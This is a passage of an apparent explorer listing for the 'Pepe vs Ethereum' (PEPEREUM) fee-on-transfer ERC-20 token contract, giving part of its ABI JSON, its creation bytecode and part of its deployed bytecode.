"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForTeam","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newLotteryWallet","type":"address"}],"name":"updateBlockDeveloperUtopiaVertex","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateBranchFiscalCapZeniths","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateStoneDeveloperLevyShieldedCache","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600d805462ffffff191660011790553480156200002057600080fd5b506040518060400160405280601081526020016f5065706520767320457468657265756d60801b81525060405180604001604052806008815260200167504550455245554d60c01b81525081600390816200007c919062000746565b5060046200008b828262000746565b5050600580546001600160a01b0319163317905550737a250d5630b4cf539739df2c5dacb4c659f2488d620000c281600162000440565b600680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200011c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000142919062000812565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000190573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b6919062000812565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000204573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022a919062000812565b600780546001600160a01b0319166001600160a01b039290921691821790556200025690600162000440565b6007546200026f906001600160a01b03166001620004ba565b600880546001600160a01b03199081167331e37ab20f288220e22e0b911cdc93609fae47c91790915560098054909116331790556001600080828180662386f26fc1000081620002c2826127106200085a565b65b5e620f48000600a819055600c559050612710620002e38360056200085a565b620002ef91906200087a565b600b55600854600580546001600160a01b0319166001600160a01b0390921691821790556000908152602081905260409020819055600f889055601087905560118690558562000340888a6200089d565b6200034c91906200089d565b600e55601385905560148490556015839055826200036b85876200089d565b6200037791906200089d565b601255600580546001600160a01b031916339081179091556200039c9060016200050e565b600854620003b5906001600160a01b031660016200050e565b620003c23060016200050e565b620003d161dead60016200050e565b620003de33600162000440565b600854620003f7906001600160a01b0316600162000440565b6200040430600162000440565b6200041361dead600162000440565b620004316200042a6005546001600160a01b031690565b83620005b8565b505050505050505050620008b3565b6005546001600160a01b031633146200048f5760405162461bcd60e51b81526020600482018190526024820152600080516020620031f583398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6001600160a01b0382166000818152601b6020526040808220805460ff191685151590811790915590519092917f9a7a23d69e77f6f530abfa14ee34b4a9eca620bc2fa8a7e70358a6565de3f5a191a35050565b6005546001600160a01b03163314620005595760405162461bcd60e51b81526020600482018190526024820152600080516020620031f5833981519152604482015260640162000486565b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006105760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000486565b80600260008282546200062491906200089d565b90915550506001600160a01b03821660009081526020819052604081208054839290620006539084906200089d565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006cd57607f821691505b602082108103620006ee57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200069d57600081815260208120601f850160051c810160208610156200071d5750805b601f850160051c820191505b818110156200073e5782815560010162000729565b505050505050565b81516001600160401b03811115620007625762000762620006a2565b6200077a81620007738454620006b8565b84620006f4565b602080601f831160018114620007b25760008415620007995750858301515b600019600386901b1c1916600185901b1785556200073e565b600085815260208120601f198616915b82811015620007e357888601518255948401946001909101908401620007c2565b5085821015620008025787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200082557600080fd5b81516001600160a01b03811681146200083d57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000874576200087462000844565b92915050565b6000826200089857634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000874576200087462000844565b61293280620008c36000396000f3fe6080604052600436106103395760003560e01c80638c0b5e22116101ab578063c0246668116100f7578063dd62ed3e11610095578063f08c00731161006f578063f08c007314610973578063f2fde38b14610989578063faf031d6146109a9578063fde83a34146109c957600080fd5b8063dd62ed3e146108f7578063e3e4e1701461093d578063e54f4faa1461095d57600080fd5b8063c912cc46116100d1578063c912cc461461087b578063cceba87c14610891578063d3b64ecd146108a7578063d47bbcc6146108d757600080fd5b8063c024666814610825578063c3ad907d14610845578063c3cc18f51461086557600080fd5b80639fccce3211610164578063b29f57b11161013e578063b29f57b114610795578063b2bdfa7b146107b5578063b375bb68146107d5578063b62496f5146107f557600080fd5b80639fccce3214610749578063a0d82dc51461075f578063a9059cbb1461077557600080fd5b80638c0b5e22146106b45780638da5cb5b146106ca5780639087ab75146106e857806394c5d52a146106fe57806395d89b411461071e5780639c3b4fdc1461073357600080fd5b80634a62bb65116102855780636fd3acb411610223578063751039fc116101fd578063751039fc14610654578063763d5dc6146106695780637709821d146106895780638a8c523c1461069f57600080fd5b80636fd3acb4146105f357806370a0823114610609578063715018a61461063f57600080fd5b80635f1c31821161025f5780635f1c31821461057d578063646817c1146105935780636ddd1713146105b35780636e08b353146105d357600080fd5b80634a62bb651461050b5780634ada218b146105255780634fbee1931461054457600080fd5b80631694505e116102f257806327c8f835116102cc57806327c8f83514610499578063313ce567146104af5780634239eef5146104cb57806349bd5a5e146104eb57600080fd5b80631694505e1461043a57806318160ddd1461045a57806323b872dd1461047957600080fd5b806306fdde0314610345578063095ea7b3146103705780630fab425d146103a0578063147b0637146103d857806314efa167146103fa578063167fec551461041a57600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a6109df565b60405161036791906124c4565b60405180910390f35b34801561037c57600080fd5b5061039061038b366004612527565b610a71565b6040519015158152602001610367565b3480156103ac57600080fd5b506009546103c0906001600160a01b031681565b6040516001600160a01b039091168152602001610367565b3480156103e457600080fd5b506103f86103f3366004612561565b610a88565b005b34801561040657600080fd5b506103f861041536600461259a565b610ae6565b34801561042657600080fd5b506103f8610435366004612561565b610b8e565b34801561044657600080fd5b506006546103c0906001600160a01b031681565b34801561046657600080fd5b506002545b604051908152602001610367565b34801561048557600080fd5b506103906104943660046125c6565b610c4a565b3480156104a557600080fd5b506103c061dead81565b3480156104bb57600080fd5b5060405160098152602001610367565b3480156104d757600080fd5b506103f86104e6366004612607565b610cf4565b3480156104f757600080fd5b506007546103c0906001600160a01b031681565b34801561051757600080fd5b50600d546103909060ff1681565b34801561053157600080fd5b50600d5461039090610100900460ff1681565b34801561055057600080fd5b5061039061055f366004612624565b6001600160a01b031660009081526019602052604090205460ff1690565b34801561058957600080fd5b5061046b600b5481565b34801561059f57600080fd5b506103f86105ae366004612641565b610d3a565b3480156105bf57600080fd5b50600d546103909062010000900460ff1681565b3480156105df57600080fd5b506103f86105ee366004612624565b610e06565b3480156105ff57600080fd5b5061046b60105481565b34801561061557600080fd5b5061046b610624366004612624565b6001600160a01b031660009081526020819052604090205490565b34801561064b57600080fd5b506103f8610e8d565b34801561066057600080fd5b50610390610ec3565b34801561067557600080fd5b506103f861068436600461265a565b610f00565b34801561069557600080fd5b5061046b60115481565b3480156106ab57600080fd5b506103f8611068565b3480156106c057600080fd5b5061046b600a5481565b3480156106d657600080fd5b506005546001600160a01b03166103c0565b3480156106f457600080fd5b5061046b600e5481565b34801561070a57600080fd5b506103f8610719366004612624565b6110a5565b34801561072a57600080fd5b5061035a61112c565b34801561073f57600080fd5b5061046b600f5481565b34801561075557600080fd5b5061046b60165481565b34801561076b57600080fd5b5061046b60135481565b34801561078157600080fd5b50610390610790366004612527565b61113b565b3480156107a157600080fd5b506103906107b0366004612527565b611148565b3480156107c157600080fd5b506005546103c0906001600160a01b031681565b3480156107e157600080fd5b506103f86107f036600461259a565b6111e1565b34801561080157600080fd5b50610390610810366004612624565b601b6020526000908152604090205460ff1681565b34801561083157600080fd5b506103f8610840366004612561565b611284565b34801561085157600080fd5b506008546103c0906001600160a01b031681565b34801561087157600080fd5b5061046b60125481565b34801561088757600080fd5b5061046b60145481565b34801561089d57600080fd5b5061046b60175481565b3480156108b357600080fd5b506103906108c2366004612624565b601a6020526000908152604090205460ff1681565b3480156108e357600080fd5b506103f86108f2366004612641565b61130d565b34801561090357600080fd5b5061046b61091236600461265a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561094957600080fd5b50610390610958366004612641565b6113d9565b34801561096957600080fd5b5061046b600c5481565b34801561097f57600080fd5b5061046b60155481565b34801561099557600080fd5b506103f86109a4366004612624565b61152b565b3480156109b557600080fd5b506103906109c4366004612527565b6115c6565b3480156109d557600080fd5b5061046b60185481565b6060600380546109ee90612688565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1a90612688565b8015610a675780601f10610a3c57610100808354040283529160200191610a67565b820191906000526020600020905b815481529060010190602001808311610a4a57829003601f168201915b5050505050905090565b6000610a7e3384846115fd565b5060015b92915050565b6005546001600160a01b03163314610abb5760405162461bcd60e51b8152600401610ab2906126c2565b60405180910390fd5b6001600160a01b03919091166000908152601a60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610b105760405162461bcd60e51b8152600401610ab2906126c2565b60138390556014829055601581905580610b2a838561270d565b610b34919061270d565b601281905560051015610b895760405162461bcd60e51b815260206004820152601860248201527f53656c6c2066656573206d757374206265203c3d2033352e00000000000000006044820152606401610ab2565b505050565b6005546001600160a01b03163314610bb85760405162461bcd60e51b8152600401610ab2906126c2565b6007546001600160a01b0390811690831603610c3c5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610ab2565b610c468282611721565b5050565b6000610c57848484611775565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610cdc5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610ab2565b610ce985338584036115fd565b506001949350505050565b6005546001600160a01b03163314610d1e5760405162461bcd60e51b8152600401610ab2906126c2565b600d8054911515620100000262ff000019909216919091179055565b6005546001600160a01b03163314610d645760405162461bcd60e51b8152600401610ab2906126c2565b633b9aca006103e8610d7560025490565b610d80906005612720565b610d8a9190612737565b610d949190612737565b811015610df25760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e352560d01b6064820152608401610ab2565b610e0081633b9aca00612720565b600a5550565b6005546001600160a01b03163314610e305760405162461bcd60e51b8152600401610ab2906126c2565b6009546040516001600160a01b03918216918316907f5e4caf256822bbf48088299a03cf1a23fb93dd4b7a163a803103673481f5f3f190600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610eb75760405162461bcd60e51b8152600401610ab2906126c2565b610ec16000611e68565b565b6005546000906001600160a01b03163314610ef05760405162461bcd60e51b8152600401610ab2906126c2565b50600d805460ff19169055600190565b6005546001600160a01b03163314610f2a5760405162461bcd60e51b8152600401610ab2906126c2565b6001600160a01b038216610f805760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610ab2565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa158015610fc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610feb9190612759565b60405163a9059cbb60e01b81526001600160a01b038481166004830152602482018390529192509084169063a9059cbb906044016020604051808303816000875af115801561103e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110629190612772565b50505050565b6005546001600160a01b031633146110925760405162461bcd60e51b8152600401610ab2906126c2565b600d805462ffff00191662010100179055565b6005546001600160a01b031633146110cf5760405162461bcd60e51b8152600401610ab2906126c2565b6008546040516001600160a01b03918216918316907f47ac97cd4ab0b967bcc8705051164721527b38b7f9d0e7cd01cf37a62ed23f6390600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b6060600480546109ee90612688565b6000610a7e338484611775565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156111ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610ab2565b6111d733858584036115fd565b5060019392505050565b6005546001600160a01b0316331461120b5760405162461bcd60e51b8152600401610ab2906126c2565b600f8390556010829055601181905580611225838561270d565b61122f919061270d565b600e81905560021015610b895760405162461bcd60e51b815260206004820152601760248201527f4275792066656573206d757374206265203c3d2033302e0000000000000000006044820152606401610ab2565b6005546001600160a01b031633146112ae5760405162461bcd60e51b8152600401610ab2906126c2565b6001600160a01b038216600081815260196020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146113375760405162461bcd60e51b8152600401610ab2906126c2565b633b9aca006103e861134860025490565b61135390600a612720565b61135d9190612737565b6113679190612737565b8110156113c55760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d6178486f6c64696e6773206c6f776572207468616044820152656e20312e302560d01b6064820152608401610ab2565b6113d381633b9aca00612720565b600c5550565b6005546000906001600160a01b031633146114065760405162461bcd60e51b8152600401610ab2906126c2565b620186a061141360025490565b61141e906001612720565b6114289190612737565b8210156114955760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610ab2565b6103e86114a160025490565b6114ac906005612720565b6114b69190612737565b8211156115225760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610ab2565b50600b55600190565b6005546001600160a01b031633146115555760405162461bcd60e51b8152600401610ab2906126c2565b6001600160a01b0381166115ba5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab2565b6115c381611e68565b50565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610a7e9185906115fd90869061270d565b6001600160a01b03831661165f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ab2565b6001600160a01b0382166116c05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ab2565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000818152601b6020526040808220805460ff191685151590811790915590519092917f9a7a23d69e77f6f530abfa14ee34b4a9eca620bc2fa8a7e70358a6565de3f5a191a35050565b6001600160a01b03831661179b5760405162461bcd60e51b8152600401610ab29061278f565b6001600160a01b0382166117c15760405162461bcd60e51b8152600401610ab2906127d4565b806000036117d557610b8983836000611eba565b600d5460ff1615611b39576005546001600160a01b0384811691161480159061180c57506005546001600160a01b03838116911614155b801561182057506001600160a01b03821615155b801561183757506001600160a01b03821661dead14155b801561184d5750600754600160a01b900460ff16155b15611b3957600d54610100900460ff166118e5576001600160a01b03831660009081526019602052604090205460ff16806118a057506001600160a01b03821660009081526019602052604090205460ff165b6118e55760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610ab2565b6001600160a01b0383166000908152601b602052604090205460ff16801561192657506001600160a01b0382166000908152601a602052604090205460ff16155b15611a0157600a548111156119925760405162461bcd60e51b815260206004820152602c60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526b36b0bc2a3c20b6b7bab73a1760a11b6064820152608401610ab2565b600c546001600160a01b0383166000908152602081905260409020546119b8908361270d565b11156119fc5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ab2565b611b39565b6001600160a01b0382166000908152601b602052604090205460ff168015611a4257506001600160a01b0383166000908152601a602052604090205460ff16155b15611aaf57600a548111156119fc5760405162461bcd60e51b815260206004820152602d60248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526c1036b0bc2a3c20b6b7bab73a1760991b6064820152608401610ab2565b6001600160a01b0382166000908152601a602052604090205460ff16611b3957600c546001600160a01b038316600090815260208190526040902054611af5908361270d565b1115611b395760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610ab2565b30600090815260208190526040902054600b5481108015908190611b655750600d5462010000900460ff165b8015611b7b5750600754600160a01b900460ff16155b8015611ba057506001600160a01b0385166000908152601b602052604090205460ff16155b8015611bc557506001600160a01b03851660009081526019602052604090205460ff16155b8015611bea57506001600160a01b03841660009081526019602052604090205460ff16155b15611c18576007805460ff60a01b1916600160a01b179055611c0a61200e565b6007805460ff60a01b191690555b6007546001600160a01b03861660009081526019602052604090205460ff600160a01b909204821615911680611c6657506001600160a01b03851660009081526019602052604090205460ff165b15611c6f575060005b60008115611e54576001600160a01b0386166000908152601b602052604090205460ff1615611d595760125415611d5457611cc06064611cba6012548861226a90919063ffffffff16565b9061227d565b905060125460145482611cd39190612720565b611cdd9190612737565b60176000828254611cee919061270d565b9091555050601254601554611d039083612720565b611d0d9190612737565b60186000828254611d1e919061270d565b9091555050601254601354611d339083612720565b611d3d9190612737565b60166000828254611d4e919061270d565b90915550505b611e36565b6001600160a01b0387166000908152601b602052604090205460ff168015611d8357506000600e54115b15611e3657611da26064611cba600e548861226a90919063ffffffff16565b9050600e5460105482611db59190612720565b611dbf9190612737565b60176000828254611dd0919061270d565b9091555050600e54601154611de59083612720565b611def9190612737565b60186000828254611e00919061270d565b9091555050600e54600f54611e159083612720565b611e1f9190612737565b60166000828254611e30919061270d565b90915550505b8015611e4757611e47873083611eba565b611e518186612817565b94505b611e5f878787611eba565b50505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038316611ee05760405162461bcd60e51b8152600401610ab29061278f565b6001600160a01b038216611f065760405162461bcd60e51b8152600401610ab2906127d4565b6001600160a01b03831660009081526020819052604090205481811015611f7e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610ab2565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611fb590849061270d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161200191815260200190565b60405180910390a3611062565b3060009081526020819052604081205490506000601854601654601754612035919061270d565b61203f919061270d565b9050600082158061204e575081155b1561205857505050565b600b54612066906014612720565b83111561207e57600b5461207b906014612720565b92505b6000600283601754866120919190612720565b61209b9190612737565b6120a59190612737565b905060006120b38286612817565b9050476120bf82612289565b60006120cb47836123e3565b905060006120f960026017546120e19190612737565b6120eb9089612817565b601654611cba90859061226a565b90506000612127600260175461210f9190612737565b612119908a612817565b601854611cba90869061226a565b90506000816121368486612817565b6121409190612817565b60006017819055601681905560188190556009546040519293506001600160a01b031691849181818185875af1925050503d806000811461219d576040519150601f19603f3d011682016040523d82523d6000602084013e6121a2565b606091505b509098505086158015906121b65750600081115b15612209576121c587826123ef565b601754604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6009546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612256576040519150601f19603f3d011682016040523d82523d6000602084013e61225b565b606091505b50505050505050505050505050565b60006122768284612720565b9392505050565b60006122768284612737565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122be576122be61282a565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612317573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061233b9190612840565b8160018151811061234e5761234e61282a565b6001600160a01b03928316602091820292909201015260065461237491309116846115fd565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906123ad90859060009086903090429060040161285d565b600060405180830381600087803b1580156123c757600080fd5b505af11580156123db573d6000803e3d6000fd5b505050505050565b60006122768284612817565b6006546124079030906001600160a01b0316846115fd565b6006546001600160a01b031663f305d7198230856000806124306005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612498573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124bd91906128ce565b5050505050565b600060208083528351808285015260005b818110156124f1578581018301518582016040015282016124d5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115c357600080fd5b6000806040838503121561253a57600080fd5b823561254581612512565b946020939093013593505050565b80151581146115c357600080fd5b6000806040838503121561257457600080fd5b823561257f81612512565b9150602083013561258f81612553565b809150509250929050565b6000806000606084860312156125af57600080fd5b505081359360208301359350604090920135919050565b6000806000606084860312156125db57600080fd5b83356125e681612512565b925060208401356125f681612512565b929592945050506040919091013590565b60006020828403121561261957600080fd5b813561227681612553565b60006020828403121561263657600080fd5b813561227681612512565b60006020828403121561265357600080fd5b5035919050565b6000806040838503121561266d57600080fd5b823561267881612512565b9150602083013561258f81612512565b600181811c9082168061269c57607f821691505b6020821081036126bc57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a8257610a826126f7565b8082028115828204841417610a8257610a826126f7565b60008261275457634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561276b57600080fd5b5051919050565b60006020828403121561278457600080fd5b815161227681612553565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610a8257610a826126f7565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561285257600080fd5b815161227681612512565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156128ad5784516001600160a01b031683529383019391830191600101612888565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156128e357600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212203ec56d235e6395bffd90384d41f62607c9d050eb4db66a53cee7c8150f0ce31564736f6c634300081500334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106103395760003560e01c80638c0b5e22116101ab578063c0246668116100f7578063dd62ed3e11610095578063f08c00731161006f578063f08c007314610973578063f2fde38b14610989578063faf031d6146109a9578063fde83a34146109c957600080fd5b8063dd62ed3e146108f7578063e3e4e1701461093d578063e54f4faa1461095d57600080fd5b8063c912cc46116100d1578063c912cc461461087b578063cceba87c14610891578063d3b64ecd146108a7578063d47bbcc6146108d757600080fd5b8063c024666814610825578063c3ad907d14610845578063c3cc18f51461086557600080fd5b80639fccce3211610164578063b29f57b11161013e578063b29f57b114610795578063b2bdfa7b146107b5578063b375bb68146107d5578063b62496f5146107f557600080fd5b80639fccce3214610749578063a0d82dc51461075f578063a9059cbb1461077557600080fd5b80638c0b5e22146106b45780638da5cb5b146106ca5780639087ab75146106e857806394c5d52a146106fe57806395d89b411461071e5780639c3b4fdc1461073357600080fd5b80634a62bb65116102855780636fd3acb411610223578063751039fc116101fd578063751039fc14610654578063763d5dc6146106695780637709821d146106895780638a8c523c1461069f57600080fd5b80636fd3acb4146105f357806370a0823114610609578063715018a61461063f57600080fd5b80635f1c31821161025f5780635f1c31821461057d578063646817c1146105935780636ddd1713146105b35780636e08b353146105d357600080fd5b80634a62bb651461050b5780634ada218b146105255780634fbee1931461054457600080fd5b80631694505e116102f257806327c8f835116102cc57806327c8f83514610499578063313ce567146104af5780634239eef5146104cb57806349bd5a5e146104eb57600080fd5b80631694505e1461043a57806318160ddd1461045a57806323b872dd1461047957600080fd5b806306fdde0314610345578063095ea7b3146103705780630fab425d146103a0578063147b0637146103d857806314efa167146103fa578063167fec551461041a57600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5061035a6109df565b60405161036791906124c4565b60405180910390f35b34801561037c57600080fd5b5061039061038b366004612527565b610a71565b6040519015158152602001610367565b3480156103ac57600080fd5b506009546103c0906001600160a01b031681565b6040516001600160a01b039091168152602001610367565b3480156103e457600080fd5b506103f86103f3366004612561565b610a88565b005b34801561040657600080fd5b506103f861041536600461259a565b610ae6565b34801561042657600080fd5b506103f8610435366004612561565b610b8e565b34801561044657600080fd5b506006546103c0906001600160a01b031681565b34801561046657600080fd5b506002545b604051908152602001610367565b34801561048557600080fd5b506103906104943660046125c6565b610c4a565b3480156104a557600080fd5b506103c061dead81565b3480156104bb57600080fd5b5060405160098152602001610367565b3480156104d757600080fd5b506103f86104e6366004612607565b610cf4565b3480156104f757600080fd5b506007546103c0906001600160a01b031681565b34801561051757600080fd5b50600d546103909060ff1681565b34801561053157600080fd5b50600d5461039090610100900460ff1681565b34801561055057600080fd5b5061039061055f366004612624565b6001600160a01b031660009081526019602052604090205460ff1690565b34801561058957600080fd5b5061046b600b5481565b34801561059f57600080fd5b506103f86105ae366004612641565b610d3a565b3480156105bf57600080fd5b50600d546103909062010000900460ff1681565b3480156105df57600080fd5b506103f86105ee366004612624565b610e06565b3480156105ff57600080fd5b5061046b60105481565b34801561061557600080fd5b5061046b610624366004612624565b6001600160a01b031660009081526020819052604090205490565b34801561064b57600080fd5b506103f8610e8d565b34801561066057600080fd5b50610390610ec3565b34801561067557600080fd5b506103f861068436600461265a565b610f00565b34801561069557600080fd5b5061046b60115481565b3480156106ab57600080fd5b506103f8611068565b3480156106c057600080fd5b5061046b600a5481565b3480156106d657600080fd5b506005546001600160a01b03166103c0565b3480156106f457600080fd5b5061046b600e5481565b34801561070a57600080fd5b506103f8610719366004612624565b6110a5565b34801561072a57600080fd5b5061035a61112c565b34801561073f57600080fd5b5061046b600f5481565b34801561075557600080fd5b5061046b60165481565b34801561076b57600080fd5b5061046b60135481565b34801561078157600080fd5b50610390610790366004612527565b61113b565b3480156107a157600080fd5b506103906107b0366004612527565b611148565b3480156107c157600080fd5b506005546103c0906001600160a01b031681565b3480156107e157600080fd5b506103f86107f036600461259a565b6111e1565b34801561080157600080fd5b50610390610810366004612624565b601b6020526000908152604090205460ff1681565b34801561083157600080fd5b506103f8610840366004612561565b611284565b34801561085157600080fd5b506008546103c0906001600160a01b031681565b34801561087157600080fd5b5061046b60125481565b34801561088757600080fd5b5061046b60145481565b34801561089d57600080fd5b5061046b60175481565b3480156108b357600080fd5b506103906108c2366004612624565b601a6020526000908152604090205460ff1681565b3480156108e357600080fd5b506103f86108f2366004612641565b61130d565b34801561090357600080fd5b5061046b61091236600461265a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561094957600080fd5b50610390610958366004612641565b6113d9565b34801561096957600080fd5b5061046b600c5481565b34801561097f57600080fd5b5061046b60155481565b34801561099557600080fd5b506103f86109a4366004612624565b61152b565b3480156109b557600080fd5b